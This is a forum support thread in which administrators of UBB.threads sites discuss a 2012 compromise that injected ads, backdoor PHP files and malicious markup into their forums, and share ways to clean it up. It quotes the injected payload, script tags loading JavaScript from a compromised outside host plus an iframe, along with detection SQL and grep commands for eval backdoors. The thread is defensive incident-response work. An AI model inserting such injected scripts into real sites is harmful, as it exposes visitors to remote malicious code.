UBB.threads PHP Forum Software Community Forums UBB.threads Version 7/8 Support Google ads appearing in threads

Unwanted Google Ads started appearing in threads on our forum this morning. Is the a hacker or what?

Pondboss Forum

Yeah, we've got the same thing in ours. I thought it was simply because we hadn't updated, but since you're running 7.5.6p2, I can only assume it's not just unpatched versions...

I don't have time to really dig into this for a few hours, but so far in my cursory overview it doesn't look like any of the static files have been altered (at least the mod dates haven't been changed...)

Personally I was hoping to roll back to backup, but it looks like the ads pre-date last night's backup and I don't want to roll back and lose an entire day if possible.

I kind of thought that it might be malicious code stuck into the templates, but I'm just not seeing any indication that it is...

One interesting tidbit is that ads aren't showing up in our restricted forums, so obviously it couldn't be a site wide template modification.

OK, I found a .js file in our files directory that was being included in all new posts.

I've still got to get to the bottom of this, but it looks like the same google ad customer hit both of our sites.

google_ad_client="ca-pub-9610313674109446"

On your site, try getting rid of the http://forums.pondboss.com/templates/xx.js file.

That'll be a quick fix, but not a permanent one.

The ads are showing up in most all of our old threads as well. Also some signatures have the same problem.

I did report the abuse to google...

It does look like that file is still there on your site. Is there a reason you haven't removed or renamed it?

Just thought I'd pop in here, this appears to be a pretty large scale hack as they are targeting a large number of sites. At least 5 that I know of. Unsure of actual exploitable issue just yet, but since it seems to be happening on even patched versions, there is definitely some type of security issue they have found.

All the ones I have found have been an ads.js file, and it's either been in the gallery directory or in the templates/default directory.

Good to know Rick. Let me know if there is any info I can get to you about ours.

It's actually inserting the script call into the database as well, so when you pull up a post, the script call will be in there even after the exploit has been removed. What is odd on this part is its only putting it into the POST_BODY field, not the POST_DEFAULT_BODY, so it doesn't seem it's being inserted via the normal add post method.

I'd also check your forum/includes directory...on 4 of the sites there has been an exploit script in there, title of 2011.php

Oh yeah, absolutely. Removing that script is a hack that simply gets rid of the ads. It doesn't do anything else.

Someone could come back and do exactly what they did before and we'd still have our pants down.

I would recommend people report this to google so that the people that did this don't get paid...

Well, two of the sites I have worked on, every post in the database was modified, several million, adding this to the end of the POST_BODY field:

<script src=http://snipershide.com/wp-content/texashunting.js></script><br /><script src=http://snipershide.com/wp-content/texashunting.js></script><script src=http://snipershide.com/wp-content/texashunting.js></script><br /><iframe src=http://forums.weddingbells.ca/tmp/index.html width=750 height=110></iframe>

It's a somewhat easy cleanup with a mysql replace, but it takes quite awhile. Anyone with this issue, I'd look at your ubbt_POSTS table, specifically at the POST_BODY field. It won't show up when editing the post, because the POST_DEFAULT_BODY field isn't altered, so you'll need to use some type of mysql tool.

Quick way to check would be to run the following SQL:

select count(*) from ubbt_POSTS where POST_BODY LIKE '%<iframe%' or POST_BODY LIKE '%<script%'

For those reading this, I think you want to add a % to the end of that select statement for it to work:

eg: select count(*) from ubbt_POSTS where POST_BODY LIKE '%<iframe%' or POST_BODY LIKE '%<script%'


Anybody want to give me a primer on mysql replace? Sweeping changes like that make me nervous. Especially with statements like this in the docs:

Is it really as simple as "update ubbt_POSTS set POST_BODY = replace(POST_BODY, '<script src=http://[path/to/inserted/jsfile]></script>', '');"?

Personally, I'm thinking of just not allowing "attachment uploads" until this is resolved... That would prevent the uploading of the .js files, but I'm not sure how they were able to inject the code into the database to begin with. That is obviously what worries me.

I talked with SD and a temporary "patch" could be to just take and use htpasswd on your admin directory so that the users with elevated permissions cannot access your control panel without knowing the password to it.

To do this, create a .htaccess file in the admin directory containing:

The file named .htpasswd should be under your web root (not accessible via your website) and needs to contain a user:encryptedpassword combination, one line per user (have multiple authorized admin's, you can choose to share a password or have everyone have a different password, whatever); to generate an encoded crypt hash click here.

An example would be:

Cool, thanks Gizmo.

I'm about to run the code I mentioned above on our DB.

I did a quick dump/load into my test system and it appears that it ran OK (and really not as long as I would have expected:)


Unfortunately, my test(home) server is probably faster than the "production" server, but even 5 minutes ain't bad for 789k rows IMHO.

Here goes nothing.

Good luck mate, waiting to hear of your results...

Whoops, missed that trailing %, yeah. So, the one site I was working on they had uploaded the 2011.php script into the forums tmp/ directory. This script was being called externally for modifying the database rows. Still not sure how they got the file into there in the first place at this point.

Same file was found on two other servers, one in the includes directory and one in a directory completely outside the forum.

Holy cow, maybe it's not faster at home. (I'm sure the fact that the "production" db is used more and well cached had something to do with this: )

HOWEVER, I actually had to reboot the stupid server (oh well, 441 days of uptime later...) because apache died on me while the sql statement was running and wouldn't start up again because 'something' was already listening on port 80.

So, my advice is that if you want to avoid the risk of a reboot, stop apache while you run the sql replace command.

Now to put on the .htpasswd file and I'll call it a day.

For those that have SSH access to their server and want to get an idea of any files being modified or added that shouldn't have been, you can run this inside your public_html directory or your forums directory if you want to isolate it more:

find . -printf '%T@ %c %p\n' | sort -k 1n,1 -k 7 | cut -d' ' -f2- | grep 2012 | grep Aug

This will show you all files that have been modified in August. It could be a big list, but the most recently modified files will be at the bottom. This is how I found the 2011.php file.

Gizmo,

Just a side note: You probably want to mention that the following should be in your apache config:

AllowOverride AuthConfig

I had to do that for ours as I wasn't using that config value until today.

Good luck to everyone dealing with this.

I found this works better as most of mine were sessions:

find . -printf '%T@ %c %p\n' | sort -k 1n,1 -k 7 | cut -d' ' -f2- | grep 2012 | grep Aug | grep -v sessions

I had sessions in there, until I just found a bad file in the sessions directory on the last site I worked on So, you might want to at least scan that to make sure it's only session files in that directory.

Touché... Good point.

Mine were all sessions, and I'm totally self-centered.

Oh, I forgot to mention, my file was named admin_2011.php.

I was just assuming that was it simply by your description, so I moved it.

Is there an easy way to prevent .php files from being uploaded to the includes directory? I'm tempted to just run an rm *.php on that directory every minute if not.

OK, one more thing: Here's the link to report these guys for your site:

http://support.google.com/adsense/b...s.cs&ts=1190500&ctx=as2&rd=1

Select "An AdSense violation regarding the content of a website or AdSense ad placement on a website" and then "Yes"

Then, the option appears for "Ad code that has been placed on your site without your permission"

I just added the contents of the .js file to this page which should be enough because it has their unique id in it.

No real way to prevent them from being uploaded. I've seen them uploaded to any writable directory. It appears they've found some way to exploit one of the scripts that is allowing them to get files uploaded into any directory as long as it's writable by the webserver.

Normally I can track this type of thing down by looking at the timestamp of the uploaded file and comparing it to the access logs to see what script was being accessed at that time, but every one I've worked on today has had their access logs turned off, so no luck.

I did rename the xx.js file and that has kept the ads off our forum since I did it. Thanks for the tip!

Since we don't have a programmer or database guy, I am waiting for a canned fix and patch so it doesn't happen again.

I found a new file in the ubb_js/ folder. the name of the file was our domain (minus the .com) + .js

I still need to figure out what is calling it (ie. maybe the posts) but for now, I'm just deleting the data from the file.

Yup. That was the name of our .js file...

And chances are its the same thing calling it (the posts). Read through the rest of the posts for SQL to verify it.

In case this helps anyone:

Our admin found an entry point in the templates folder: admin.php

He removed it, verified the folder permissions, and emptied the javascript file that was injected.

He traced the injection IP to 118.253.10.255

We sent an email to abuse.szx@2118.com.cn, which is where that IP traced to, and then did the Google Adwords abuse report.

Okay I will be the devils advocate.
More details are needed.

Not all of the users here have stated what version they currently are using nor if they have installed the latest patch.
I noticed at least one is not on a current patch.
Also even if you are using the current patch.
What did you do to clean up your existing files. Meaning did the intrusion happen after installation of the patch or before? Just because you just noticed it does not mean it was not there before.

I personally have not been hacked. But it seems to me. That more info is needed to determine what actually is going on.

For example I don't see evidence here that it happened. So why?

There could very well be something else besides UBB that's the entry point.

I'd like to know where the affected boards are hosted and more info on the servers and what else is on them. e.g. mysql, php, apache versions, do these affected sites also have wordpress, drupal, etc using the same database, etc.

Ageed.
Till some official investigation is performed. How do we know. Crisis management is not the way to approach this.
Even though the users impacted by this have a high level of urgency.

BTW,
Happy Birthday!

Of the 7 sites I've worked on, 3 of them are on all separate servers, with the latest patch, and the forums are the only thing on each server. So, I can't vouch for the other 4, as there are wordpress installs, other websites, etc. But the 3 sites, they are specifically forums only with no other websites. 2 servers have cPanel, and the other is just bare bones, no cpanel.

All 3 servers running centOs, updated versions, mysql, apache, etc.

If I can find any relative info on how it's happening, I surely post. I've just been playing cleanup on these sites since yesterday. First report was on Saturday evening, and then other reports throughout the day yesterday.

OK, here's ours:

CentOS running on "bare metal" (now fully patched, but it wasn't before - it'd been a few months) mysql, apache. Nothing else running on the server (OK, ssh is running, but I've tried to lock it down as best I could, but I would bet that there is at least one thing running on there that shouldn't be. I'm just more of a Solaris guy.) No cPanel (ugh) or other crutches.

7.5.6 (no patches - yeah, I've gotta get on that. Supposedly we've paid our annual support but no one can find that number. I've just been too busy to track it down - For example, I'm in a hotel room 1500 miles from my last post in this thread...)

If there is any other info that would be helpful to provide, let me know.

I thought the patch was available to anyone, regardless of renewal status, but I could be wrong.

I just looked at the dates involved, and my subscription was expired when I downloaded the p1 and p2 patches.

Nope

Unless it's changed since I asked.

We have a dedicated server at Hostway (SiteControl) with all the latest versions of everything. The server was setup new and the forum was migrated there a few months ago. The server is dedicated to our forums and there is nothing else running on it.

One of your guys upgraded us to 7.5.6p2 a few months ago. Brooks got us a quote and arranged to get the job done. I am not sure who did the actual work. Should be perfect, right?

You've gotta love Google... For some reason this response just struck me as funny on several levels:

Does it appear that the hack got in through an attached file to a post? My board does not have attached files allowed so I'm wondering if my board may be susceptible.

I don't know if this is related or not but our forums are down and I know of another site that had the same issue today.

I wonder if we ticked off this hacker by reporting to google and he is retaliating.

Well pondboss appears to be working currently.
Using the url of http://forums.pondboss.com/
So did something change?

looking into this, sending some logs to SD...

i've been looking at it with Rick too, since he is able to shell into a targetted server and watch closely

It was a screw up at the hosting company. They rectified and said it won't happen again.

Sorry I didn't post sooner but I don't take an Internet machine with me when I am out fishing.

Well, ours is down. I'm doing as much as I can from my iPhone at a waterpark, but we're getting a "Cannot decode raw data" error at the moment.

I get a :

Well, FWIW, I did something that might have been "dumb" (wouldn't be the first time in my life.)

I have a cronjob running (I alluded to in an earlier post) that deletes all php code from the writable directories. It's possible that may have interrupted the exploit...

Well, in poking around a bit, I found this at the top of our includes/config.inc.php file:


Removing that fixed the problem.

Sheesh. I've gotta work on locking this down a LOT more. For now at least, I 744'd that file (which is owned by root.)

NOTE: You probably do NOT want to open that page if you're running a Microsoft operating system. Consider yourself warned.

At least it's running now.

Here's a few commands you'll want to run from shell to look for any more exploited code

grep -R eval * | grep POST
grep -R eval * | grep REQUEST

Found a few of these in various files on a couple servers that allowed for the hacker to pretty much do whatever they want.

Rick,

I never mentioned: Thanks for that. I found two more places where they'd injected code in a similar manner. One in our includes/header.php file and one in a php file in images/forumimages/default/.

I'm becoming chmod'ing fool on this server... I'm about to find out what happens when UBB is incredibly restricted due to permissions to the filesystem.

We scrubbed Sniper's Hide and now we are just dealing with what is on left on the two other sites,

forums.weddingbells.ca

forums.canadianfamily.ca

The hackers left several pieces of code and back doors in, but my biggest issues is the dump that pulls from these two other sites putting a huge load on our forum.

We have the latest software installed, the patches and all, but still we can't control what was inserted into other sites.

if anyone knows these two sites have them scrub there pages as it is still pulling from there.

Could you have your server guys deny requests to the server from those ip's that're trolling content on your site?

I think they did, apparently it is not working,

So did anyone ever figure out what the entry point was?